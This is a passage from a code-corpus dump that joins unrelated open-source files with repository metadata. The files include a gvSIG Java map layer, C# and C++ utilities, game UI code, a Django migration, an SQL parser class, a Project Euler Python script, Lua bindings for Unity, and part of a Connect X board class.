* Spain * * +34 963163400 * dac@iver.es */ package com.iver.cit.gvsig.fmap.layers; import java.awt.Graphics2D; import java.awt.Rectangle; import java.awt.geom.Rectangle2D; import java.awt.image.BufferedImage; import java.io.IOException; import javax.print.attribute.PrintRequestAttributeSet; import org.geotools.data.FeatureSource; import org.geotools.map.DefaultMapContext; import org.geotools.map.MapContext; import org.geotools.map.MapLayer; import org.geotools.renderer.lite.LiteRenderer2; import com.hardcode.gdbms.driver.exceptions.ReadDriverException; import com.iver.cit.gvsig.fmap.ViewPort; import com.iver.utiles.swing.threads.Cancellable; import com.vividsolutions.jts.geom.Envelope; /** * @author FJP * * TODO To change the template for this generated type comment go to * Window - Preferences - Java - Code Generation - Code and Comments */ // TODO: Cuando no sea para pruebas, habrá que ponerla privada public class FLyrGT2_old extends FLyrDefault { private MapLayer m_lyrGT2; private LiteRenderer2 liteR2; private MapContext mapContextGT2; public FLyrGT2_old(MapLayer lyrGT2) { m_lyrGT2 = lyrGT2; setName(lyrGT2.getTitle()); mapContextGT2 = new DefaultMapContext(); mapContextGT2.addLayer(lyrGT2); liteR2 = new LiteRenderer2(mapContextGT2); } /* (non-Javadoc) * @see com.iver.cit.gvsig.fmap.layers.FLayer#getFullExtent() */ public Rectangle2D getFullExtent() { FeatureSource fs = m_lyrGT2.getFeatureSource(); Envelope bounds = null; try { bounds = fs.getBounds(); if (bounds == null) { bounds = fs.getFeatures().getBounds(); } } catch (IOException e) { e.printStackTrace(); } return new Rectangle2D.Double(bounds.getMinX(), bounds.getMinY(), bounds.getWidth(), bounds.getHeight()); } /* (non-Javadoc) * @see com.iver.cit.gvsig.fmap.layers.FLayer#draw(java.awt.image.BufferedImage, java.awt.Graphics2D, com.iver.cit.gvsig.fmap.ViewPort, com.iver.cit.gvsig.fmap.operations.Cancellable) */ public void draw(BufferedImage image, Graphics2D g, ViewPort viewPort, Cancellable cancel,double scale) throws ReadDriverException { try { if (isWithinScale(scale)){ // mapExtent = this.context.getAreaOfInterest(); m_lyrGT2.setVisible(isVisible()); Envelope envelope = new Envelope(viewPort.getExtent().getMinX(), viewPort.getExtent().getMinY(), viewPort.getExtent().getMaxX(), viewPort.getExtent().getMaxY()); mapContextGT2.setAreaOfInterest(envelope); /* FeatureResults results = queryLayer(m_lyrGT2, envelope, destinationCrs); // extract the feature type stylers from the style object // and process them processStylers(g, results, m_lyrGT2.getStyle().getFeatureTypeStyles(), viewPort.getAffineTransform(), mapContextGT2.getCoordinateReferenceSystem()); */ Rectangle r = new Rectangle(viewPort.getImageSize()); long t1 = System.currentTimeMillis(); liteR2.paint(g,r, viewPort.getAffineTransform()); long t2 = System.currentTimeMillis(); System.out.println("Tiempo en pintar capa " + getName() + " de GT2:" + (t2- t1) + " milisegundos"); } } catch (Exception exception) { exception.printStackTrace(); } } /** * @see com.iver.cit.gvsig.fmap.layers.FLayer#print(java.awt.Graphics2D, com.iver.cit.gvsig.fmap.ViewPort, com.iver.utiles.swing.threads.Cancellable) */ public void print(Graphics2D g, ViewPort viewPort, Cancellable cancel,double scale, PrintRequestAttributeSet properties) throws ReadDriverException { } }
iCarto/siga
libFMap/src/com/iver/cit/gvsig/fmap/layers/FLyrGT2_old.java
Java
gpl-3.0
5,013
namespace _08.Custom_Comparator { using System; using System.Collections.Generic; using System.Linq; public class Startup { public static void Main() { int[] numbers = Console.ReadLine() .Split(new[] { ' ' }, StringSplitOptions.RemoveEmptyEntries) .Select(int.Parse) .ToArray(); Array.Sort(numbers, (x, y) => { if (IsEven(x) && !IsEven(y)) { return -1; } if (!IsEven(x) && IsEven(y)) { return 1; } if (x < y) { return -1; } if (x > y) { return 1; } return 0; }); Console.WriteLine(string.Join(" ",numbers)); } static bool IsEven(int i) { return i % 2 == 0; } } }
PlamenHP/Softuni
Advanced C#/Functional Programming - Exercises/08. Custom Comparator/Startup.cs
C#
gpl-3.0
1,086
#include <fstream> #include <iostream> #include "df3volume.h" #ifdef _WIN32 # define LITTLE_ENDIAN #endif #ifdef LITTLE_ENDIAN #define SWAP_2(x) ( (((x) & 0xff) << 8) | ((unsigned short)(x) >> 8) ) #define SWAP_4(x) ( ((x) << 24) | \ (((x) << 8) & 0x00ff0000) | \ (((x) >> 8) & 0x0000ff00) | \ ((x) >> 24) ) #define FIX_SHORT(x) (*(unsigned short *)&(x) = SWAP_2(*(unsigned short *)&(x))) #define FIX_INT(x) (*(unsigned int *)&(x) = SWAP_4(*(unsigned int *)&(x))) #else #define FIX_SHORT(x) (x) #define FIX_INT(x) (x) #endif using namespace std; bool df3volume::load(const char * file) { ifstream ffile; ffile.open(file, ios_base::binary | ios_base::in); if( ffile.fail() ) { cerr << "ERROR: Could not read input volume file '" << file << "' ! " << endl; return false; } ffile.read((char*)&width, sizeof(short)); ffile.read((char*)&height, sizeof(short)); ffile.read((char*)&depth, sizeof(short)); width = FIX_SHORT(width); height = FIX_SHORT(height); depth = FIX_SHORT(depth); size_t size = width * height * depth; data.resize(size); ffile.read((char*)&data[0], size); if( ffile.fail() ) { cerr << "Failed to read from volume file !" << endl; ffile.close(); return false; } ffile.close(); #ifdef _DEBUG cout << "Volume " << file << " size = " << size << " bytes" << endl; #endif return true; } bool df3volume::load_raw(uint16 _width, uint16 _height, uint16 _depth, const char * file) { ifstream ffile; ffile.open(file, ios_base::binary | ios_base::in); if( ffile.fail() ) { cerr << "Could not read input volume file '" << file << "' ! " << endl; return false; } size_t size = _width * _height * _depth; data.resize(size); ffile.read((char*)&data[0], size); if( ffile.fail() ) { cerr << "Failed to read from volume file " << file << endl; ffile.close(); return false; } width = _width; height = _height; depth = _depth; #ifdef _DEBUG cout << "Volume " << file << " size = " << size << " bytes" << endl; #endif return true; } bool df3volume::save(const char* file) { ofstream df3(file, ios::out | ios::binary); if( df3.fail() ) { cerr << "Could not open file " << file << " for writing !" << endl; return false; } uint16 _width = FIX_SHORT(width); uint16 _height = FIX_SHORT(height); uint16 _depth = FIX_SHORT(depth); df3.write((const char*)&_width, sizeof(uint16)); df3.write((const char*)&_height, sizeof(uint16)); df3.write((const char*)&_depth, sizeof(uint16)); df3.write((const char*)&data[0], data.size()); if( df3.fail() ) { cerr << "Failed to save df3 volume to output file " << file << endl; df3.close(); return false; } df3.close(); return true; }
mihaipopescu/VEGA
tools/df3volume.cpp
C++
gpl-3.0
3,022
// Copyright (c) 2005 - 2015 Settlers Freaks (sf-team at siedler25.org) // // This file is part of Return To The Roots. // // Return To The Roots is free software: you can redistribute it and/or modify // it under the terms of the GNU General Public License as published by // the Free Software Foundation, either version 2 of the License, or // (at your option) any later version. // // Return To The Roots is distributed in the hope that it will be useful, // but WITHOUT ANY WARRANTY; without even the implied warranty of // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the // GNU General Public License for more details. // // You should have received a copy of the GNU General Public License // along with Return To The Roots. If not, see <http://www.gnu.org/licenses/>. /////////////////////////////////////////////////////////////////////////////// // Header #include "defines.h" #include "iwEndgame.h" #include "Loader.h" #include "GameManager.h" #include "desktops/dskMainMenu.h" #include "iwSave.h" #include "WindowManager.h" #include "GameClient.h" /////////////////////////////////////////////////////////////////////////////// // Makros / Defines #if defined _WIN32 && defined _DEBUG && defined _MSC_VER #define new new(_NORMAL_BLOCK, THIS_FILE, __LINE__) #undef THIS_FILE static char THIS_FILE[] = __FILE__; #endif /////////////////////////////////////////////////////////////////////////////// /** * Konstruktor von @p iwEndgame. * * @author OLiver */ iwEndgame::iwEndgame(void) : IngameWindow(CGI_ENDGAME, 0xFFFF, 0xFFFF, 240, 100, _("End game?"), LOADER.GetImageN("resource", 41)) { // Ok AddImageButton(0, 16, 24, 71, 57, TC_GREEN2, LOADER.GetImageN("io", 32)); //-V525 // Abbrechen AddImageButton(1, 88, 24, 71, 57, TC_RED1, LOADER.GetImageN("io", 40)); // Ok + Speichern AddImageButton(2, 160, 24, 65, 57, TC_GREY, LOADER.GetImageN("io", 47)); } void iwEndgame::Msg_ButtonClick(const unsigned int ctrl_id) { switch(ctrl_id) { case 0: // OK { GAMEMANAGER.ShowMenu(); GAMECLIENT.ExitGame(); } break; case 1: // Abbrechen { Close(); } break; case 2: // OK + Speichern { WINDOWMANAGER.Show(new iwSave()); } break; } }
ikharbeq/s25client
src/ingameWindows/iwEndgame.cpp
C++
gpl-3.0
2,321
package dotest.module.frame.debug; import android.app.Activity; import core.interfaces.DoIPageViewFactory; public class DoPageViewFactory implements DoIPageViewFactory { private Activity currentActivity; @Override public Activity getAppContext() { // TODO Auto-generated method stub return currentActivity; } @Override public void openPage(String arg0, String arg1, String arg2, String arg3, String arg4, String arg5, String arg6, String arg7) { // TODO Auto-generated method stub } public void setCurrentActivity(Activity currentActivity) { this.currentActivity = currentActivity; } @Override public void closePage(String _animationType, String _data, int _continue) { // TODO Auto-generated method stub } }
do-android/do_BaiduMapView
doExt_do_BaiduMapView/src/dotest/module/frame/debug/DoPageViewFactory.java
Java
gpl-3.0
748
# -*- coding: utf-8 -*- # Generated by Django 1.11.3 on 2018-01-09 11:24 from __future__ import unicode_literals from django.db import migrations, models class Migration(migrations.Migration): dependencies = [ ('tmv_app', '0072_runstats_dyn_win_threshold'), ] operations = [ migrations.AlterField( model_name='runstats', name='dyn_win_threshold', field=models.FloatField(default=0.1), ), ]
mcallaghan/tmv
BasicBrowser/tmv_app/migrations/0073_auto_20180109_1124.py
Python
gpl-3.0
471
#include "SQLParserResult.h" namespace hsql { SQLParserResult::SQLParserResult() : isValid_(true), errorMsg_(NULL) {}; SQLParserResult::SQLParserResult(SQLStatement* stmt) : isValid_(true), errorMsg_(NULL) { addStatement(stmt); }; SQLParserResult::~SQLParserResult() { for (SQLStatement* statement : statements_) { delete statement; } free(errorMsg_); } void SQLParserResult::addStatement(SQLStatement* stmt) { statements_.push_back(stmt); } const SQLStatement* SQLParserResult::getStatement(int index) const { return statements_[index]; } SQLStatement* SQLParserResult::getMutableStatement(int index) { return statements_[index]; } size_t SQLParserResult::size() const { return statements_.size(); } bool SQLParserResult::isValid() const { return isValid_; } const char* SQLParserResult::errorMsg() const { return errorMsg_; } int SQLParserResult::errorLine() const { return errorLine_; } int SQLParserResult::errorColumn() const { return errorColumn_; } void SQLParserResult::setIsValid(bool isValid) { isValid_ = isValid; } void SQLParserResult::setErrorDetails(char* errorMsg, int errorLine, int errorColumn) { errorMsg_ = errorMsg; errorLine_ = errorLine; errorColumn_ = errorColumn; } } // namespace hsql
msdeep14/DeepDataBase
sql-parser/src/SQLParserResult.cpp
C++
gpl-3.0
1,363
namespace _6.Customers_Migration { using System; using System.Collections.Generic; using System.ComponentModel.DataAnnotations; using System.ComponentModel.DataAnnotations.Schema; using System.Data.Entity.Spatial; public partial class StoreLocation { [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Usage", "CA2214:DoNotCallOverridableMethodsInConstructors")] public StoreLocation() { Sales = new HashSet<Sale>(); } public int Id { get; set; } public string LocationName { get; set; } [System.Diagnostics.CodeAnalysis.SuppressMessage("Microsoft.Usage", "CA2227:CollectionPropertiesShouldBeReadOnly")] public virtual ICollection<Sale> Sales { get; set; } } }
PlamenHP/Softuni
Entity Framework/Entity Framework Code First/6. Customers Migration/StoreLocation.cs
C#
gpl-3.0
782
# smallest number 2^500500 divisors , modulo 500500507 # 单调递减 # (2^a0)(2^a1)(2^a2) = 2^500500 # (2^ai)(2^aj) -> (2^{ai-1})(2^{aj+1}) : p_j^(2^{aj})/p_i^(2^{ai-1}) < 1 , (a > b) # (2^aj)ln(p_j) < (2^{ai-1})ln(p_i) # if 2^{a_i-a_j-1} > ln(p_j)/ln(p_i), then a_i-=1,a_j-=1 # # i < j # p_j^(2^(a_j-1)) < p_i^(2^a_i) # p_i^(2^(a_i-1)) < p_j^(2^a_j) # # (n-log(log(p_i)/log(p_j)/2)/log(2))/2 > ai > (n-log(2*log(p_i)/log(p_j))/log(2))/2 # # n = a_i+a_j # a_i = floor( # ( # n + 1 - (log( # log(p_i)/log(p_j) # )/log(2)) # )/2 # ) import math N = 9_000_000 MOD = 500500507 def mypow(v, mi): r = 1 while mi > 0: if mi % 2 == 1: r *= v r %= MOD v *= v v %= MOD mi //= 2 return r def prepare(): p = [0 for i in range(N+10)] ps = [] for i in range(2,N+1): if p[i] != 0: continue; ps.append(i) j = i*i while j <= N: p[j] = i j+=i print("prime count:",len(ps),",max prime:",ps[-1]) logij = [0 for i in range(500500)] for i in range(500500): logij[i] = math.log(math.log(ps[i])/math.log(ps[i+1])/2)/math.log(4) print("logij finished") # p[i] = i is prime # ps : prime s # logij : adjacent # sum 以外的部分 return p,ps,logij # dst 幂次 , p 质数校验数组, ps质数数组, 预先运算 sum以外部分 def main(dst,p,ps,logij): ans = [0 for i in range(500500)] ans[0] = dst maxi = 1 # ans 长度 loop = True while loop: loop = False i = 0 # for range not work when i want modify i while i+1 < len(ans) and ans[i] > 0: cnt = ans[i]+ans[i+1] dstai = math.floor(cnt/2 - logij[i]) if dstai != ans[i]: ans[i] = dstai; ans[i+1] = cnt - dstai # just from last start if i > 0: i -= 1 continue i+=1 if i >= maxi and ans[i] > 0: maxi = i+1 print(f"len[{maxi}]\tfirst[{ans[0]}]\tlast[{ans[i]}]", flush=True) assert(i+1 < len(ans)) assert(ans[maxi] == 0) # print("arr:",ans[:maxi]) print(f"fixlen [{maxi}]\tfirst[{ans[0]}]\tlast[{ans[maxi-1]}]", flush=True) # check movable first and last # if math.log(math.log(ps[maxi])/math.log(2)) < math.log(2)*(ans[0]-1): newans0 = math.floor((ans[0]+1-math.log(math.log(2)/math.log(ps[maxi]))/math.log(2))/2) if newans0 != ans[0]: ans[maxi] = ans[0] - newans0 ans[0] = newans0 assert(ans[0] > 0) assert(ans[maxi] > 0) loop = True output = 1 for i in range(len(ans)): output *= mypow(ps[i],2**ans[i] - 1); output %= MOD print("ans:", output, flush=True) p,ps,logij = prepare() main(4,p,ps,logij) main(500500,p,ps,logij) # len[206803] first[5] last[1] # fixlen [206803] first[5] last[1] # ans: 287659177 # 跑了3个小时 , 没有所有位满足最小
CroMarmot/MyOICode
ProjectEuler/unsolved/p500.py
Python
gpl-3.0
3,132
using System; using LuaInterface; using SLua; using System.Collections.Generic; public class Lua_UnityEngine_ParticleSystem_CollisionModule : LuaObject { [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int constructor(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule o; o=new UnityEngine.ParticleSystem.CollisionModule(); pushValue(l,true); pushValue(l,o); return 2; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int SetPlane(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); System.Int32 a1; checkType(l,2,out a1); UnityEngine.Transform a2; checkType(l,3,out a2); self.SetPlane(a1,a2); pushValue(l,true); setBack(l,self); return 1; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int GetPlane(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); System.Int32 a1; checkType(l,2,out a1); var ret=self.GetPlane(a1); pushValue(l,true); pushValue(l,ret); return 2; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int get_enabled(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); pushValue(l,true); pushValue(l,self.enabled); return 2; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int set_enabled(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); bool v; checkType(l,2,out v); self.enabled=v; setBack(l,self); pushValue(l,true); return 1; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int get_type(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); pushValue(l,true); pushEnum(l,(int)self.type); return 2; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int set_type(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); UnityEngine.ParticleSystemCollisionType v; checkEnum(l,2,out v); self.type=v; setBack(l,self); pushValue(l,true); return 1; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int get_mode(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); pushValue(l,true); pushEnum(l,(int)self.mode); return 2; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int set_mode(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); UnityEngine.ParticleSystemCollisionMode v; checkEnum(l,2,out v); self.mode=v; setBack(l,self); pushValue(l,true); return 1; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int get_dampen(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); pushValue(l,true); pushValue(l,self.dampen); return 2; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int set_dampen(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); UnityEngine.ParticleSystem.MinMaxCurve v; checkValueType(l,2,out v); self.dampen=v; setBack(l,self); pushValue(l,true); return 1; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int get_bounce(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); pushValue(l,true); pushValue(l,self.bounce); return 2; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int set_bounce(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); UnityEngine.ParticleSystem.MinMaxCurve v; checkValueType(l,2,out v); self.bounce=v; setBack(l,self); pushValue(l,true); return 1; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int get_lifetimeLoss(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); pushValue(l,true); pushValue(l,self.lifetimeLoss); return 2; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int set_lifetimeLoss(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); UnityEngine.ParticleSystem.MinMaxCurve v; checkValueType(l,2,out v); self.lifetimeLoss=v; setBack(l,self); pushValue(l,true); return 1; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int get_minKillSpeed(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); pushValue(l,true); pushValue(l,self.minKillSpeed); return 2; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int set_minKillSpeed(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); float v; checkType(l,2,out v); self.minKillSpeed=v; setBack(l,self); pushValue(l,true); return 1; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int get_maxKillSpeed(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); pushValue(l,true); pushValue(l,self.maxKillSpeed); return 2; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int set_maxKillSpeed(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); float v; checkType(l,2,out v); self.maxKillSpeed=v; setBack(l,self); pushValue(l,true); return 1; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int get_collidesWith(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); pushValue(l,true); pushValue(l,self.collidesWith); return 2; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int set_collidesWith(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); UnityEngine.LayerMask v; checkValueType(l,2,out v); self.collidesWith=v; setBack(l,self); pushValue(l,true); return 1; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int get_enableDynamicColliders(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); pushValue(l,true); pushValue(l,self.enableDynamicColliders); return 2; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int set_enableDynamicColliders(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); bool v; checkType(l,2,out v); self.enableDynamicColliders=v; setBack(l,self); pushValue(l,true); return 1; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int get_enableInteriorCollisions(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); pushValue(l,true); pushValue(l,self.enableInteriorCollisions); return 2; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int set_enableInteriorCollisions(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); bool v; checkType(l,2,out v); self.enableInteriorCollisions=v; setBack(l,self); pushValue(l,true); return 1; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int get_maxCollisionShapes(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); pushValue(l,true); pushValue(l,self.maxCollisionShapes); return 2; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int set_maxCollisionShapes(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); int v; checkType(l,2,out v); self.maxCollisionShapes=v; setBack(l,self); pushValue(l,true); return 1; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int get_quality(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); pushValue(l,true); pushEnum(l,(int)self.quality); return 2; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int set_quality(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); UnityEngine.ParticleSystemCollisionQuality v; checkEnum(l,2,out v); self.quality=v; setBack(l,self); pushValue(l,true); return 1; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int get_voxelSize(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); pushValue(l,true); pushValue(l,self.voxelSize); return 2; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int set_voxelSize(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); float v; checkType(l,2,out v); self.voxelSize=v; setBack(l,self); pushValue(l,true); return 1; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int get_radiusScale(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); pushValue(l,true); pushValue(l,self.radiusScale); return 2; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int set_radiusScale(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); float v; checkType(l,2,out v); self.radiusScale=v; setBack(l,self); pushValue(l,true); return 1; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int get_sendCollisionMessages(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); pushValue(l,true); pushValue(l,self.sendCollisionMessages); return 2; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int set_sendCollisionMessages(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); bool v; checkType(l,2,out v); self.sendCollisionMessages=v; setBack(l,self); pushValue(l,true); return 1; } catch(Exception e) { return error(l,e); } } [MonoPInvokeCallbackAttribute(typeof(LuaCSFunction))] static public int get_maxPlaneCount(IntPtr l) { try { UnityEngine.ParticleSystem.CollisionModule self; checkValueType(l,1,out self); pushValue(l,true); pushValue(l,self.maxPlaneCount); return 2; } catch(Exception e) { return error(l,e); } } static public void reg(IntPtr l) { getTypeTable(l,"UnityEngine.ParticleSystem.CollisionModule"); addMember(l,SetPlane); addMember(l,GetPlane); addMember(l,"enabled",get_enabled,set_enabled,true); addMember(l,"type",get_type,set_type,true); addMember(l,"mode",get_mode,set_mode,true); addMember(l,"dampen",get_dampen,set_dampen,true); addMember(l,"bounce",get_bounce,set_bounce,true); addMember(l,"lifetimeLoss",get_lifetimeLoss,set_lifetimeLoss,true); addMember(l,"minKillSpeed",get_minKillSpeed,set_minKillSpeed,true); addMember(l,"maxKillSpeed",get_maxKillSpeed,set_maxKillSpeed,true); addMember(l,"collidesWith",get_collidesWith,set_collidesWith,true); addMember(l,"enableDynamicColliders",get_enableDynamicColliders,set_enableDynamicColliders,true); addMember(l,"enableInteriorCollisions",get_enableInteriorCollisions,set_enableInteriorCollisions,true); addMember(l,"maxCollisionShapes",get_maxCollisionShapes,set_maxCollisionShapes,true); addMember(l,"quality",get_quality,set_quality,true); addMember(l,"voxelSize",get_voxelSize,set_voxelSize,true); addMember(l,"radiusScale",get_radiusScale,set_radiusScale,true); addMember(l,"sendCollisionMessages",get_sendCollisionMessages,set_sendCollisionMessages,true); addMember(l,"maxPlaneCount",get_maxPlaneCount,null,true); createTypeMetatable(l,constructor, typeof(UnityEngine.ParticleSystem.CollisionModule),typeof(System.ValueType)); } }
yongkangchen/poker-client
Assets/Runtime/Slua/LuaObject/Unity/Lua_UnityEngine_ParticleSystem_CollisionModule.cs
C#
gpl-3.0
14,303
package tensor2go type Scalar struct { *Tensor } func NewScalar(val interface{}) (v *Scalar){ v = &Scalar{NewTensor()} v.Tensor.tensorRoot = v.Tensor.graph.CreateVertex("root",val) return } func (s *Scalar) Val() interface{} { return s.Tensor.tensorRoot.Properties() } func (s *Scalar) Multiply(val interface{})(r interface{}){ m, ok := s.Val().(Multiplier) if !ok { panic("Value is not a multiplier") } if v, ok := val.(*Scalar); ok { r = m.Multiply(v.Val()) } return }
joernweissenborn/tensor2go
scalar.go
GO
gpl-3.0
491
/************************************************************************************************** * This file is part of Connect X. * * Connect X is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * Connect X is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with Connect X. If not, see <https://www.gnu.org/licenses/>. * *************************************************************************************************/ /**********************************************************************************************//** * @file GameBoard.cpp * @date 2020 * *************************************************************************************************/ #include <algorithm> #include <gdkmm/display.h> #include <cxinv/include/assertion.h> #include <cxmodel/include/Disc.h> #include <Board.h> #include <DiscChip.h> #include <IGameViewController.h> #include <IGameViewPresenter.h> constexpr bool FULLY_HANDLED = true; constexpr bool PROPAGATE = false; namespace { // Computes the best chip dimension so that the game view, when the board is present with all // chips drawn, is entirely viewable on the user's screen. int ComputeMinimumChipSize(const cxgui::Board& p_board, size_t p_nbRows, size_t p_nbColumns) { // Get screen containing the widget: const Glib::RefPtr<const Gdk::Screen> screen = p_board.get_screen(); IF_CONDITION_NOT_MET_DO(bool(screen), return -1;); // Get the screen dimensions: const int fullScreenHeight = screen->get_height(); const int fullScreenWidth = screen->get_width(); // Get minimum screen dimension: const int minFullScreenDimension = std::min(fullScreenHeight, fullScreenWidth); // First, we check if the chips can use their default size: int nbRows = static_cast<int>(p_nbRows); int nbColumns = static_cast<int>(p_nbColumns); if(nbRows * cxgui::DEFAULT_CHIP_SIZE < (2 * fullScreenHeight) / 3) { if(nbColumns * cxgui::DEFAULT_CHIP_SIZE < (2 * fullScreenWidth) / 3) { return cxgui::DEFAULT_CHIP_SIZE; } } // The the biggest board dimension: const int maxBoardDimension = std::max(nbRows, nbColumns); // From this, the max chip dimension (dimension at which together, chips from the board would fill the // entire screen in its smallest dimension) is computed: const int maxChipDimension = (minFullScreenDimension / maxBoardDimension); // We take two thirds from this value for the board (leaving the remaining to the rest of the // game view): return (maxChipDimension * 2) / 3; } } // namespace cxgui::Board::Board(const IGameViewPresenter& p_presenter, IGameViewController& p_controller) : m_presenter{p_presenter} , m_controller{p_controller} , m_currentDiscPosition{0u} { set_orientation(Gtk::Orientation::ORIENTATION_VERTICAL); InitializeNextDiscArea(m_presenter.GetGameViewBoardWidth()); InitializeBoard(m_presenter.GetGameViewBoardHeight(), m_presenter.GetGameViewBoardWidth()); pack1(m_nextDiscAreaLayout, true, false); pack2(m_boardLayout, true, false); } void cxgui::Board::DropChip() { Chip* chip = GetChip(m_nextDiscAreaLayout, m_currentDiscPosition, 0); 